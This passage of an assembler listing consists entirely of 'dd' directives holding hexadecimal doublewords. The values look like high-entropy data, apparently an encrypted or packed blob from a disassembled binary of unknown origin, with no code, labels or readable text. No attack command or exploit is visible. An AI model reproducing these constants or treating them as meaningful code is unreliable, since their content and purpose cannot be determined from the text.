0BFCC8059h, 0A96EDFEh, 2EC8F3B4h dd 6409F1B2h, 6650D499h, 537EADB4h, 48A0114Eh, 2F469B5Dh dd 52044A58h, 46E942B6h, 85E06D94h, 36503028h, 0A216630Ch dd 0ABC6715Fh, 199A0112h, 6DE9147Ch, 0C13581A9h, 0D65EC4D0h dd 0E3F1C17Fh, 0EA1B81F9h, 0B25A7942h, 0AA98042Ah, 8BFE133Bh dd 406C42ADh, 0F7B40DABh, 8A157F2Dh, 0BA169924h, 0B8DA97F4h dd 0BE01B7F6h, 3872685Bh, 0D943DF6Dh, 0E91C8043h, 6385229h dd 1183C9C6h, 0A4500295h, 63196AC7h, 2D5ADEC4h, 7B7630A3h dd 0E4C35CE7h, 0F1185A51h, 0E0B53B4Eh, 182F13F1h, 86F5180Fh dd 53564216h, 3609BABCh, 0D2095CE2h, 0F3B7297Ah, 80B6175Ch dd 0B29F2DEFh, 1215DA3Dh, 2ABF05C3h, 7811102Eh, 77E5B800h dd 392D2C85h, 43EC3C01h, 81D62005h, 97C39280h, 0E9759B6Dh dd 0DE48962Dh, 8660C241h, 3C823D7Eh, 0B12CD168h, 0B4C472A5h dd 0F2A39701h, 0A816AD5h, 0F5AC6A29h, 0B24B0CD0h, 0BE93936Dh dd 29B1136Ch, 0B87A08C3h, 0A0F74A09h, 609A1316h, 4A019896h dd 21B78D8Fh, 52853E2Dh, 4A469EEFh, 6D5C96B2h, 6961FB5Fh dd 87FC0B13h, 4B3A9C79h, 2F5B4C02h, 283F0F09h, 85C59C11h dd 2685546h, 0D72A0DEBh, 4CAD25Dh, 7977C5EBh, 0E91D8113h dd 0FA3425ECh, 8B0BFEFCh, 0C7681B6Bh, 0B7FD7009h, 4D88A65Bh dd 1AE90950h, 0FB2F6FF2h, 3A4FE5Fh, 0C5ADF164h, 229FCDF9h dd 732409E1h, 0BC5F0288h, 0E7157E7h, 360B3444h, 1EF73AABh dd 0B9E92E1Ah, 0EC6884F0h, 2E31FA65h, 11B46FD8h, 0D2A3FF8Eh dd 9540BBC2h, 99008057h, 95028C6Fh, 0A812C6F4h, 3BBD52C0h dd 28CC265Fh, 0D371AB3h, 9A84CBDFh, 0A1D17F04h, 93CD6869h dd 0CD8DC5AAh, 84B4FA59h, 81B440F6h, 6A14CF01h, 0DFF72E6Dh dd 7210B6Fh, 70AC3B00h, 5D950AE9h, 7ACE7E21h, 0C7BE819Eh dd 29DF54FDh, 0FC3943Ah, 0FE4B5E08h, 5669D779h, 85B023Ah dd 33E031D5h, 0A0977533h, 0A2C1185h, 4759755h, 0AF9138D5h dd 4BCDDF6h, 0AAF05CA7h, 0C2495B9Dh, 6C461C19h, 43565E27h dd 4C0ADE0h, 50067586h, 73E3A703h, 0C2B602Ah, 45B166EEh dd 5523148h, 0B034F405h, 2D1382EBh, 49D20789h, 4A89D525h dd 0E26882EAh, 8073E20Ch, 2A57C36Fh, 687B7F6Ah, 0B081ECBh dd 73264CE9h, 71F2B158h, 0F24B5364h, 91D6E5A8h, 7894EF92h dd 67688272h, 0D1090B10h, 0D0BD42E1h, 0F8B54228h, 1D33024Ah dd 0C2E90E86h, 5C0A68DCh, 203EB629h, 31769570h, 0E5E38850h dd 4BDCED6Fh, 40279B2Ch, 0D74CF7F6h, 0B792014h, 5C7BE66h dd 231889D5h, 175EF752h, 56064627h, 8B52BAB6h, 3CA44301h dd 0B66E33CEh, 4E293D60h, 0F52CB049h, 3AC06394h, 3D986BB1h dd 51D14801h, 61A50841h, 5D1FA45Fh, 0A4E054D4h, 0D0091742h dd 447DB405h, 1A61CEFEh, 1266840Ch, 73B3EB00h, 180FE530h dd 40A90A87h, 291CFC0Eh, 0DEC91F17h, 0F3C7845Bh, 0B417FA12h dd 5523AB0h, 307E6E68h, 84A8F45Ah, 29CC585Bh, 0CF36002Ch dd 0EB62BE7Fh, 16BFC68h, 5F210952h, 90B4450h, 5F136941h dd 0B4EAA4A2h, 69535709h, 0C2DE7425h, 680166B7h, 323B57D6h dd 0C0D42973h, 5541D112h, 3CBFF9C6h, 16DEE120h, 0E9019938h dd 7D0841AEh, 6B881582h, 0F65900F2h, 27B252D5h, 34CA0180h dd 0E2C0C2FEh, 0D4D2F505h, 0E93E08EAh, 53F4CA7Dh, 0BFF0404Dh dd 583A8425h, 63ED2410h, 0AA75A512h, 0FE08DADEh, 5DB70E41h dd 0FE66FD07h, 8C15AA54h, 0B05F684Bh, 56900BACh, 21B224C0h dd 26E9CA30h, 40AC9098h, 534431C0h, 9DCBFABFh, 4C39C83h dd 6D22A6E1h, 0F9EA2D2Fh, 10EF6A89h, 0BA660A5Ch, 0F20BB002h dd 96185D60h, 401FC571h, 58AC21C2h, 42C8A112h, 0F00A177Dh dd 0CEA6C85Eh, 573002FBh, 1E0753D6h, 4FD2EA08h, 0A5127B64h dd 0FE3843DAh, 7C48A40Fh, 0C35BC502h, 0F6CD8B4Ch, 0BE95889h dd 2B47B05Ah, 72F483FAh, 7105DEC2h, 0A2098B90h, 68824877h dd 513E4953h, 981B5F83h, 689774AEh, 596AE97Dh, 0B04E95DCh dd 0B54127F2h, 4D8F073Ch, 0FB310144h, 61086450h, 673F950Ch dd 0E724C83Fh, 0E6ABE260h, 963B6150h, 0ABA0258h, 0A4F5A37Fh dd 0E4EBC661h, 874F143Eh, 945527ABh, 0FEE81359h, 4E72A010h dd 0A09201CBh, 3D4BCBF6h, 29A7D049h, 0BD4DD0B2h, 4B884565h dd 0D8010085h, 30378D05h, 3B5B322Ch, 28CFDE49h, 0AEDF2F81h dd 79CD0D99h, 240DD09Ah, 0DCA79015h, 0E857649Ah, 0C7320101h dd 749BBF61h, 163A17C5h, 206B0106h, 0E5163859h, 0B440D6CFh dd 0EDC045AAh, 61BC19F3h, 6778BD9Ch, 986E8520h, 661C09AFh dd 0CC8943BDh, 63213D6h, 0FAF7CA03h, 4E99F835h, 5730AB42h dd 9DCC90E9h, 0C7FB38E8h, 0A4960F82h, 0E9AB9F8Eh, 2A79948Fh dd 0D095D019h, 455B5BCAh, 0AE771130h, 0C4CD985Dh, 8AF4F7AFh dd 52719D44h, 4295E28Dh, 2838BF2Bh, 83E91652h, 88E4618h dd 0F207859h, 50BBE666h, 60F8C8EDh, 0F1811393h, 89FC0A73h dd 94251998h, 80166EC8h, 2C233FC6h, 417084Ch, 0A5416DE9h dd 3E7EBAFBh, 505DB0B8h, 7C3693C3h, 0CD2A4BE9h, 0B6D08845h dd 82F22E3Eh, 3B3587Ah, 6670880h, 2840A12h, 66294E9Dh dd 0DA4852E9h, 440A68BBh, 0E8501093h, 9882FD27h, 9C5F8540h dd 579CA29Dh, 0D202D132h dd 4E7564F0h, 94D020D9h, 0C64DA295h, 4A8705DCh, 80879E8Dh dd 0F16C2568h, 0D1955B65h, 3BEA6D6h, 392C386Ah, 1FC2F6E0h dd 514D7B24h, 0AB454B1Fh, 25C7214Ah, 5469E992h, 0E5C10204h dd 19634506h, 1F550EF0h, 7354A5FEh, 6509E2C4h, 0FF355A0Dh dd 51C4DA8Fh, 8A37FAEFh, 0DBA81295h, 0EEB76258h, 0CAD67949h dd 6994EF5Bh, 0D10FADAAh, 160A4FA1h, 3D039EFAh, 0D638428Fh dd 2B0A8206h, 0E4EBFF98h, 17FCF203h, 2564645h, 0EE4C6441h dd 7A625D62h, 97E90703h, 68518705h, 16F22DBCh, 0AD7B9641h dd 0EFA805Fh, 410113CEh, 0A24A14Ch, 32E375A8h, 348C2C22h dd 99BCDA38h, 8E6EA0B1h, 411FEA1Dh, 0D529EC0Fh, 9C964C70h dd 42F8508Ah, 0C8BED6BAh, 9E034524h, 23F8B23h, 591008A1h dd 69707283h, 521171F0h, 8A7820E7h, 9280C2Dh, 5088021Ch dd 2B691475h, 89F4F93Ah, 96FD1A03h, 0C58980ECh, 49362F0Ch dd 76012E75h, 0F19220FFh, 0C2FF3504h, 0DFCB27F9h, 0E91B696Eh dd 0A980B63Bh, 0AA756BCh, 4950945Dh, 5029B15h, 31DA6D8Ch dd 0A7AC79E1h, 0D5D7E57h, 6B408FA1h, 0FF964AEDh, 3F687660h dd 1C57D635h, 34F52F90h, 4452536Ah, 501B4210h, 1F26D2C3h dd 2A0B399Fh, 0E2EE2ABBh, 7D5DC50Bh, 216F9E5h, 0E9C428A3h dd 96AEE87Bh, 0ADC03925h, 9B551068h, 4B4F2C3Bh, 9C2A8255h dd 685900FBh, 98970208h, 50B45A2h, 4EE906A4h, 4FFCE752h dd 276856D0h, 0BCE7910Eh, 0FC1B3C16h, 38E9B1A2h, 0B31DF37Ch dd 7965CBBEh, 680F55C4h, 53B53AA0h, 2CC601EFh, 70746119h dd 91B998EBh, 0A9DDCD01h, 656829C4h, 0BEC34073h, 2E3F563Fh dd 0CC0F4F61h, 0C024A968h, 4E31E980h, 0D6298C3Ch, 5EAA0795h dd 0DDE326E2h, 442754F9h, 7AD5FD0Eh, 0AB7F1CAFh, 0ADC1E59Eh dd 98510FDh, 5A5480DCh, 1FD1D3BFh, 0A03ED2EAh, 0EB3280ADh dd 32C0666h, 74F95033h, 803728ADh, 5153C5FEh, 0B32102B5h dd 72B1E993h, 54099FEh, 9EE482Eh, 19D26873h, 553064E6h dd 50582AB1h, 2763F6B8h, 0A9D55242h, 757057D5h, 0BB55D17Ah dd 551BFCC3h, 80160ADAh, 0BA932AC7h, 0B850B517h, 2BBB534Fh dd 6FA24B23h, 1CDD882Fh, 38F4BDBAh, 0E78BC17Ah, 0A317F86Eh dd 0B3AEDD56h, 0DAF29339h, 0F454B917h, 69B6449Dh, 0ED1BD72Dh dd 98F805E2h, 1C006648h, 572FA9B2h, 7F505839h, 53CA878Eh dd 74D808E1h, 0B668402Fh, 3CE499D5h, 0E55F379Fh, 8A065D6h dd 0D4F0CB0h, 565C6F80h, 5EB40B68h, 7D74997h, 0B1046709h dd 2DE201C0h, 1BFE3319h, 0A8B8F940h, 4AB72140h, 0D7B398E5h dd 3758816Ch, 0DA08253Fh, 8A879CF9h, 83B6A1C6h, 63F75C3Eh dd 4261AC00h, 8068368Eh, 0A33DC469h, 0F021047Ch, 0A44B77F3h dd 7561C7DCh, 49C96820h, 55C63E78h, 50E1A65h, 9966218Eh dd 953D5D41h, 0BB84BA4Ah, 0B5B32C27h, 80140E90h, 0A91406F4h dd 44297A17h, 0AF03E248h, 552DABEDh, 0CD1FE0F3h, 66A81C96h dd 0B2CCFD5Fh, 8239D413h, 334FE525h, 5E7C005Dh, 6829077Ch dd 270830C1h, 38AB9657h, 0ED5E2155h, 43D0E5ECh, 9FC79BE9h dd 340DFD4h, 982F7C31h, 290D0217h, 0BB532515h, 3B20BE82h dd 0EC8A11C3h, 4B096801h, 405BCD6Fh, 0C60C37F0h, 4EDB6948h dd 7A295C0Bh, 5ABA9030h, 0DC99F57Fh, 0FC9FD849h, 0F48B4922h dd 105C639Bh, 5D42D473h, 4CE91281h, 864AFEF1h, 0A427547Dh dd 4142B75Eh, 5155F050h, 0E8F535ECh, 0E8C056D9h, 5A4F4482h dd 28CD00BEh, 0EE312C22h, 0C29DDCE9h, 0CEB4D53Dh, 2DA16820h dd 10D4DE01h, 8939820Ah, 5AAF046Fh, 307FBAADh, 0B90E5F5Eh dd 0EA162FD2h, 5784097Ch, 6EF37DBEh, 8F1610F6h, 96ADB8DEh dd 6C60D521h, 81C3252Fh, 1264010Fh, 2F4BF4CDh, 884C6CB0h dd 81E6B098h, 0B564379Ch, 0FA091DD1h, 250F67Ch, 3AF62CECh dd 25932482h, 0B6A4A74h, 19E0608h, 0C68004B6h, 286B7128h dd 685300E0h, 37E155F0h, 0E3C10B5Bh, 24834B03h, 74965E22h dd 181D4225h, 2D443C62h, 51EA6999h, 9E0AFE08h, 19DDA754h dd 0C87F5F44h, 524138C8h, 5C30FB65h, 2E7C0168h, 0E959720Ah dd 0F0092ED0h, 0E58B5F48h, 0C62EBAFDh, 0C5475EB0h, 9A8BBAE1h dd 0D0882462h, 0E9A882F5h, 4F9057CFh, 0B511183h, 0A4103AC1h dd 56E90B08h, 443DA90h, 26173FC7h, 0DF44806Ah, 2C06A43Dh dd 99E9EF01h, 36FC9799h, 9DC6DD52h, 0A55AD327h, 0A991C841h dd 96DDFE29h, 0FA80F934h, 60F1E6DDh, 285A06BFh, 0F5E059CEh dd 0CAA1A1ACh, 1BF4280h, 0F6E3C1C3h, 0F0EB413Dh, 0D2E9F35Eh dd 69561318h, 0F2B505E8h, 0F8B0ADh, 737D32DAh, 36D5F681h dd 452AE02Ch, 0DBA41612h, 1072B7EEh, 210E5B6Fh, 2909F81Fh dd 163C43Eh, 0AE95A08h, 0FB213574h, 26A6BEB9h, 0A2EF1253h dd 9A7AC9B3h, 0D15D6A27h, 204E0330h, 9DF97B89h, 0F81F544Ch dd 5CD9A284h, 8CD9254Bh, 0F2ADF549h, 6E8B2A08h, 4EAD2010h dd 9873A9ACh, 6CCE00FFh, 0CA090BA1h, 0F2038159h, 5AD05EA4h dd 66066929h, 5F2550FBh, 5E972B9Eh, 50918861h, 1D760128h dd 0BD373B00h, 17AF4A47h, 0BEE630E9h, 0E2805B20h, 0F72D5D79h dd 4A10DDC0h, 0D6BFBB32h, 86F77080h, 0BDF025BFh, 0B79D98D6h dd 68845095h, 0B5A20D19h, 346BFD78h, 0BCCB269Dh, 0E641500Ah dd 9A019537h, 1066C43h, 6E94E901h, 692E8022h, 88295D34h dd 0FA2CEF5Bh, 5D079DD7h, 70ED6242h, 25366575h, 604999F6h dd 38494AB4h, 5A85825h, 2D2CA406h, 0C4F66A8Eh, 0FCDB34C6h dd 25319C4Dh, 0B626D5Dh, 0A3DDB0E9h, 12120A86h, 0E22B563Bh dd 0AD48DF29h, 7BBD0120h, 3F7F8E60h, 0FF177A4h, 12503B41h dd 0EBA28604h, 5B6526CCh, 66393C5h, 0E269B7C2h, 0D98F405Fh dd 0DD5BF71Ah, 825F35E8h, 46C883FDh, 4C5B5668h, 1CB6DECCh dd 38AB0B5h, 0B1515AF0h, 0E9C8C00Bh, 0D5052B09h, 2C4D7501h dd 6FE63B2Bh, 658AE982h, 48B54DC4h, 80192D74h, 0CAEED828h dd 0EFD0934Ah, 7B6116BBh, 8E90301Eh, 0D2055C16h, 0B0A3877h dd 72DC801h, 0F5E97730h, 70F39D07h, 9218C908h, 5E9A8834h dd 0BA1350A5h, 0F06B1EB1h, 0B00AD92h, 24BD6952h, 28289F25h dd 3A1FD31h, 650DA1E5h, 0A0C3E901h, 12BAD402h, 0E1431D17h dd 312E21CAh, 329CBF2Eh, 0A22C22CEh, 26787D6Fh, 685940BFh dd 0E9CCBF1Bh, 3112190Bh, 4957D601h, 0B6D48CD5h, 0D48D1297h dd 0BAD7C1ECh, 0D4793D60h, 843B25D5h, 0DCAA5819h, 0FC9FA01Bh dd 0B2E9F805h, 0B6034ABCh, 0C9CE3023h, 0FE23E74Ah, 0F6C38606h dd 0FE7608D0h, 33A5E930h, 4A986850h, 53148C13h, 0EB95A4BFh dd 504F90BEh, 900B6856h, 0B2B6F73h, 9584D0B9h, 0A7111F55h dd 7F1FBAF7h, 0E918C69Eh, 0C28BA598h, 0C4741460h, 532EA545h dd 4A3F10DCh, 96CF9F0h, 2913C05Dh, 0FD2F42D7h, 0FFB1074Ch dd 24B5664Bh, 424DD929h, 92DFD8A1h, 0FB43C1C2h, 0B605843Dh dd 8716D448h, 1E173179h, 5FB2A0Fh, 0E7FCC32Ah, 7868177Fh dd 92A145BBh, 0EFC84EA7h, 45244F8Fh, 1B44FA7Fh, 53BA6289h dd 5F51AC30h, 9D0244C8h, 0D5485FC4h, 55A3690Ah, 60164044h dd 0D2FC10DBh, 84C484h, 30FEB450h, 11584CE7h, 0EEC04F07h dd 3E63006h, 0D773CE80h, 1091C648h, 502E881h, 6F0D3F21h dd 0DCBFA604h, 0B34F684Dh, 0F9AAB484h, 0F60B93DFh, 7F2A92FCh dd 8105F485h, 727A9097h, 0FEE9C282h, 3C53467Bh, 95704968h dd 0E9700376h, 0CB8349ABh dd 0FC840h, 0B924CF1Bh, 5576153Eh, 8982F595h, 74747F60h dd 0DD1975Eh, 0D4549A05h, 0F772F0C2h, 0CFA4ABFBh, 45165F2Dh dd 33D749Fh, 1A9443DAh, 58A0E2FBh, 0F77B6346h, 0DD5289BDh dd 4C6ED3A0h, 892E8CECh, 2F0890D6h, 98842F1Ch, 0DAA1BFEDh dd 0D0059815h, 3DFE2705h, 0AEB13092h, 0F6E37760h, 0F6DC1466h dd 78E8B709h, 0B4204067h, 0EEE91620h, 0F27E2476h, 41D58427h dd 0DA315902h, 0A0CECCFDh, 4A6BA802h, 0DF0101DCh, 72350C2Fh dd 0A00841FAh, 1490141Ch, 6809C3BCh, 0E2B676E7h, 5F00A64Eh dd 0C102E5C1h, 13F7F9FEh, 2E9131FCh, 0D82AA55Ah, 0CE584FFEh dd 85D14E67h, 287F6CD8h, 24EECCFh, 0B4B09742h, 92895F34h dd 0EFFD202Bh, 25C0828Bh, 886011F0h, 0AB4CBA6Bh, 421412A1h dd 2A7BD8B7h, 2EA826DAh, 42475BDDh, 37FE5AFCh, 0C28D56E9h dd 1CFD738Dh, 4CBE98EEh, 0E381C8CDh, 3ACF03D4h, 0F63AB7E1h dd 0CBF4AA8h, 5D1C01D4h, 0BE605391h, 0CE854A0h, 533AE935h dd 0EA01D156h, 840FD039h, 0B645875h, 0DB6925E9h, 0DAE7B3D5h dd 0BF3F68F4h, 0CE031793h, 813FBD25h, 0C986C49h, 3DDEC06Fh dd 31043517h, 0EF215EF5h, 93AF34AEh, 0B1DCC185h, 0F374C23Bh dd 5D22E904h, 0BFA8EFAh, 30793E68h, 80B1D256h, 0A9EE455Dh dd 211E3865h, 0BBD112BBh, 0E909C8DFh, 18F79D1Fh, 9E74B717h dd 0D87D166Dh, 0FCB78F82h, 84684165h, 0C4962838h, 0E90464FAh dd 591D2AAh, 5B11E6FDh, 0CC61D087h, 2A4FEC68h, 49FB21FEh dd 0D6D379C7h, 28102EA2h, 0E9066114h, 2CA74A76h, 68C189F1h dd 934C4939h, 0AEEABFB9h, 0A40D8EDFh, 73C20AB0h, 4FCD5656h dd 0EF85EA04h, 0E7484D8Fh, 0F405F000h, 5E13186Bh, 68535103h dd 923A2B8Bh, 2FAA5F5Bh, 84851783h, 7DF2BAC4h, 17F668A0h dd 60A6FB99h, 19AFEE1Dh, 9FA82AFh, 7D560977h, 8040B4D3h dd 5A62585Ah, 1974A229h, 5B3E4E32h, 5334EA3Ah, 9B5EAD82h dd 43C4C494h, 79CA30EAh, 3500A69h, 8080DCB9h, 534705C1h dd 0FB309BB3h, 0E9C4D790h, 91615B77h, 0C2762ED3h, 248D95Fh dd 3A630118h, 827165DDh, 5AD1F0Ah, 0BD65305Dh, 5BE81464h dd 973C847h, 0D136AB77h, 50218921h, 3A09C9B7h, 0DBF8A71Fh dd 0C2F34BBh, 68F94AC3h, 9602124h, 0C0FFA3C5h, 55E9419Fh dd 21AF835Bh, 6E9E76D0h, 0BDD08BF9h, 4603EF00h, 2ACF816Fh dd 67FD0D1Dh, 0FEBF782h, 3819E0FFh, 0D94AB54Fh, 80A5E275h dd 0E090B513h, 2D5B3AFEh, 0FF064A93h, 7171984h, 0BFF694FBh dd 48FCB121h, 0B0268C7Fh, 5BEC140h, 76BC6808h, 62A28731h dd 0A99A1EBFh, 292D2740h, 4D4B3A2Ch, 5406A200h, 5CF2E918h dd 0DF81E773h, 8F3EAC71h, 4B02D222h, 6FA1034Ch, 460FF153h dd 0ACCEEB70h, 255D9685h, 0FB5CDC0h, 5E62052Ch, 820B3FA4h dd 114D5E1h, 9C6E1CF8h, 0D5DD0A18h, 0B94BB310h, 0BFEC04B3h dd 85AAD2E8h, 10B0B6BDh, 12C962Ah, 6CC10839h, 433B6805h dd 0CCABE764h, 0EFEE8AF0h, 41E92808h, 65B50170h, 7A1ECD80h dd 2249F60Bh, 0D9076EC9h, 0C09A9374h, 1488BAD5h, 66267924h dd 523C208h, 0FA06E7C1h, 9BDC2499h, 39662537h, 0C1683E01h dd 6A1260Ah, 6F4333A9h, 40053D2Ch, 65E92286h, 5B5B2608h dd 5CEEEB4h, 58A845B1h, 7FCE824Eh, 534759FCh, 0D7AB1895h dd 0EB02F9A5h, 71F7443Ah, 8F4569E1h, 0E69CD08h, 0FA4BE788h dd 0FC7A1655h, 601D98D1h, 0F1800830h, 502768C6h, 8FB6710Bh dd 498FE25h, 0E373CE80h, 0E937F60Bh, 904B5861h, 5ED62567h dd 0E9C29ED9h, 0A0B9AA11h, 3149601Ch, 2401D77Fh, 60754A46h dd 2540883Bh, 0B4D905Ch, 3E9E49B7h, 0F8839F40h, 0D1036091h dd 0D9236D0Ch, 252D78D7h, 4B824210h, 0EE64D9B3h, 27F1FB5Eh dd 0FCE006ADh, 7E62DEB3h, 92AAE98h, 88460E60h, 912D0EC0h dd 0C99BDD2Ch, 0B4DD6A58h, 97BCBEh, 68DC53C6h, 0BD4C2BDh dd 22D67A7Eh, 87104EAEh, 81CBBE56h, 894C8913h, 0A257C2C7h dd 0B46F950h, 550B3E0Ch, 6DB46802h, 5D5D5390h, 525C0680h dd 0D5952E3Ah, 0AB070781h, 0D9E06A38h, 31B2A05Dh, 3D482E18h dd 13A9101Ah, 11E35B54h, 8525B6D0h, 654F030h, 2D655D3Fh dd 2D3481BBh, 5C311FDBh, 1037F86Bh, 810087D1h, 0B13422EEh dd 0F57D899Dh, 0C91C0F2Dh, 0F97E868Fh, 0A8939EFCh, 0A9BDAAC0h dd 1B201327h, 1CBB0281h, 48FD619Fh, 92F717Ah, 26E90545h dd 0D9D5D3E2h, 4663091Dh, 57602B74h, 6A7143h, 51FDE381h dd 0C5E92B41h, 7A892A4Ah, 13F80A61h, 0B47A4888h, 0B8029226h dd 96F14D51h, 52596600h, 0D514B662h, 2BE80D2Bh, 352EE5F5h dd 15EAA86Fh, 878685h, 72CFBEDh, 0E9B8686Eh, 0A014F77h dd 0CD215E56h, 92CB859h, 7C504008h, 0BB530024h, 4316058Ch dd 1D01D15Bh, 79D3F4ECh, 0C2FDF97Eh, 0F134A068h, 9047882Ah dd 45D3983Ah, 0B7DE310Ah, 0EA0744F8h, 7C5A69C8h, 15E9D7A1h dd 293ED528h, 2F45926h, 3BBA1DE7h, 0E2A540FFh, 0EFD3C9B8h dd 9DA4CA56h, 0B83EC62Fh, 0DE683A5Ch, 0D8ABB2DFh, 4FEDE9B4h dd 89FA9C6Eh, 13D7DD58h, 1DAC76FBh, 75C2ED9h, 4D2F733h dd 0C1778F98h, 0B3BDAF6Dh, 535D004h, 6E1C8022h, 1D1D1562h dd 4CB12BE9h, 0F760C280h, 0B8B9404Fh, 1632B304h, 20FF405Ch dd 1DBE0DBAh, 0D1B5727Ah, 0E908056Fh, 5EDDEC87h, 7BED6DABh dd 414BF398h, 4AE3B83h, 0D0CF521Eh, 44AC685Fh, 0AA6A263Dh dd 7EBD8484h, 0B4B962CFh, 13BE5904h, 9E00AAA1h, 4FFD497Eh dd 48D001F7h, 1FB0F605h, 1C43EC5h, 0A81E10ABh, 301A4407h dd 99E3B74Eh, 0F32F00F5h, 179F62A3h, 0F3D9014Fh, 5FF4A82h dd 0BA79CFB8h, 2D1CAEE3h, 0CD77250Dh, 9CF727A2h, 8C68140Bh dd 0E3D7FF02h, 0F7503FC5h, 75F75513h, 23811A0Bh, 0B9E4D0D4h dd 0E134DF6Bh, 0A37A4E9Bh, 0CB4F74BAh, 0E552D7A0h, 295F63Bh dd 23E95759h, 7F665A60h, 405C9F2Ch, 90875566h, 34239D53h dd 0AFF55AD0h, 3F304F2Dh, 1F620437h, 0EB1BE931h, 85C85D4Bh dd 95344822h, 4D589BEh, 5DE5EFBEh, 0EFA4D42Ah, 13C6CE1h dd 524F2DA0h, 0B8452124h, 0B9019223h, 6A570C4h, 0C1338C7Fh dd 0C634C3EAh, 2DAE884Bh, 35AA3BB1h, 0F068EB63h, 5AD85801h dd 0A22F8109h, 0D38F4F06h, 975D4076h, 0E3D000BCh, 0CBFED3F6h dd 0B2520166h, 54EB80BBh, 0C3ABEF28h, 7C62E9A9h, 705A30D0h dd 9FCC2174h, 1390E378h, 1C5E0883h, 6414EDF2h, 0EF92B389h dd 31BA2C53h, 7C6AE972h, 0E0F64E9Ch, 61607817h, 4324FDAh dd 18990080h, 0E86D4A1Ch, 0A49E51F0h, 1E02BE63h, 5C5B75C9h dd 0C1C326A6h, 3306A968h, 0AB015B37h, 9A27D0Eh, 0EC36FDE9h dd 0A606E92Ch, 0BAE8131Fh, 98EEE084h, 1D2F6897h, 5EE7183Ch dd 33912EE9h, 0D5688505h, 3D2DBF18h, 120FE86Ah, 0FD8972A5h dd 282ED62Dh, 42EF420Ah, 0B6B45001h, 80F7F06Bh, 30D32EE7h dd 2FE9B9C4h, 9BD8764h, 47C21627h, 0CBFC2E75h, 0BB195D64h dd 0BE867AD7h, 0E67EBDEAh, 0F885C1DAh, 285AEF87h, 2C3BE1D0h dd 32B82B2Eh, 65DE5CA1h, 0C6A83BC8h, 6D8A1CA4h, 0CAEA077h dd 916AE072h, 130565C6h, 0BEFF80Eh, 5DBE585Eh, 0C032FABh dd 45F22812h, 9CF587E0h, 29081405h, 9CEEC531h, 6D550C6Ah dd 61046FBEh, 0A81260B1h, 68DF81B9h, 313E21F8h, 2E7930C1h dd 0B082668Dh, 4276C90h, 3F1F807Fh, 0B50AF85Ah, 7A929A48h dd 200B649Ah, 78477E7Dh dd 54AC0954h, 8E0045BCh, 15FEB2A6h, 0A3B08973h, 5BF8585Ah dd 0D7B7BBE4h, 0D9755289h, 0C17AEB6Fh, 9100C54Eh, 31D2EB8h dd 0E740B539h, 3F488368h, 4122D347h, 0DC096AE6h, 7C5DDA24h dd 0B405D8B8h, 7C873800h, 615FFB2Dh, 3C8F40Ch, 0E964D345h dd 0AB845330h, 28F1AAB8h, 804C5496h, 0D488DA3Fh, 13BDD3D4h dd 0C4325F86h, 97A16C5Ah, 0A442DAF9h, 0E7CCDD16h, 978E23E8h dd 50AD1BE0h, 7829332Eh, 2CB89412h, 0CD875982h, 6541F780h dd 81021B0Eh, 7E6983CFh, 9428DE53h, 0FB04F402h, 828C5CC4h dd 0B50042B7h, 3DE5806Dh, 789353EDh, 2392D990h, 0D3F93003h dd 0BC4FB5E9h, 12D99E49h, 9922EAF0h, 0B15BD55Bh, 0E141F4A0h dd 0C340DCD4h, 0E7C6800Ah, 0C0B5EE99h, 7D9D5AF3h, 305F1912h dd 91DD5D54h, 8431E542h, 3AECAE96h, 5961AC8Ch, 1DC6F89Dh dd 7827F0C2h, 122DAC48h, 424A0F82h, 558D075Dh, 794F34B2h dd 0F4A7886Ah, 1037422Ch, 64B81AF5h, 0C0155C4h, 16A76058h dd 0FB14AE73h, 2D5E1521h, 0ECCFA52Eh, 0E8B7BA25h, 280B1C3Eh dd 96B53ABEh, 4F2D1CA7h, 0AD760753h, 4C52599h, 21EB50C5h dd 0C8F80170h, 949C5818h, 0EE54538Bh, 982A606h, 48EA6852h dd 0BCD63225h, 0EF291DA5h, 0F4FA69C9h, 0B6E95B8Eh, 0BA108171h dd 2F1D5808h, 5BF88EA5h, 0BD48449Dh, 1467547Bh, 596FDCFBh dd 0D0F911FFh, 1517C93h, 4A6AFB99h, 79C6490Fh, 1DA20CAh dd 94A31329h, 2F5AD189h, 3E142D0h, 0ED964F7h, 963CE875h dd 0AA0624EAh, 55247CEDh, 78441FC8h, 3F78EE4Bh, 553124E9h dd 0AB7CA563h, 15A7162h, 78464D68h, 782DC93Dh, 0B551012Fh dd 59EB2807h, 10476066h, 6F949C4Ah, 0FBD156FFh, 280E364h dd 0F07870Ch, 0E9CB89DFh, 4957C7C9h, 0C3A55851h, 9A4FD903h dd 0B00B0987h, 7B8946C5h, 51601966h, 358BD32h, 684A004Fh dd 5AB04D75h, 7002AF9Ch, 0FD0B1339h, 79161DE8h, 709A3C2Dh dd 0C3525C83h, 9C147D3Ah, 709BA6Dh, 11CC93E9h, 647AF900h dd 92E18131h, 49FD3B48h, 7E09C902h, 0D383723Bh, 27C0BB53h dd 36A03957h, 0B52F0504h, 6135E12h, 7071A843h, 3521340Ch dd 9E9460Ch, 200D2CDBh, 8A7C857Dh, 0D94A7DB8h, 5DC1F052h dd 0ED8094C2h, 0B8BE8497h, 9D7CE7BCh, 0F2286A59h, 9FFBC420h dd 1778F04h, 0EFDB82BEh, 7C10F87Bh, 70384E25h, 95902072h dd 93A2504Ah, 4BE3301Fh, 0C9CE58CDh, 0A29878ACh, 231320Dh dd 28B54C24h, 0FF65AA11h, 68507BD0h, 30185FC3h, 8A7CFD5Bh dd 65B65D71h, 6CE66428h, 3A20A29Ah, 4C93A03Eh, 21D33163h dd 482017E4h, 0D59D0187h, 0B70E8A0Ch, 597DEEFAh, 0BE98D2E6h dd 4AE9CF0Bh, 0D5242535h, 0C8C5FE83h, 4B3D1016h, 2699FE56h dd 54DB98FFh, 9F0D7961h, 4402DE74h, 433DE9C8h, 75F5A2F2h dd 51410674h, 493A2168h, 915E3AD3h, 97A6164Bh, 0C2402756h dd 4C9B8AE2h, 0C0B52E55h, 0D0A2E903h, 81D47EBDh, 0EE167327h dd 0B998A431h, 3538D122h, 280C0315h, 834CEA81h, 0CEADEDD4h dd 0A82B0841h, 0DEE9E05Ch, 2856B2A0h, 129BDAEEh, 0EC01042Fh dd 0F959263Eh, 99F13534h, 32F413C3h, 3D68BA22h, 0E8B58E0Ch dd 0D6A3C88Bh, 3951F86Ch, 56362FB7h, 0B193171Ch, 0D0AC3B6Eh dd 7E600BF8h, 0D2FDBB0Ah, 4DD94811h, 67192D01h, 4DF2923h dd 5F5B0809h, 2CFF9522h, 986102EAh, 0D7DB53F0h, 3FF956E9h dd 0F27753EDh, 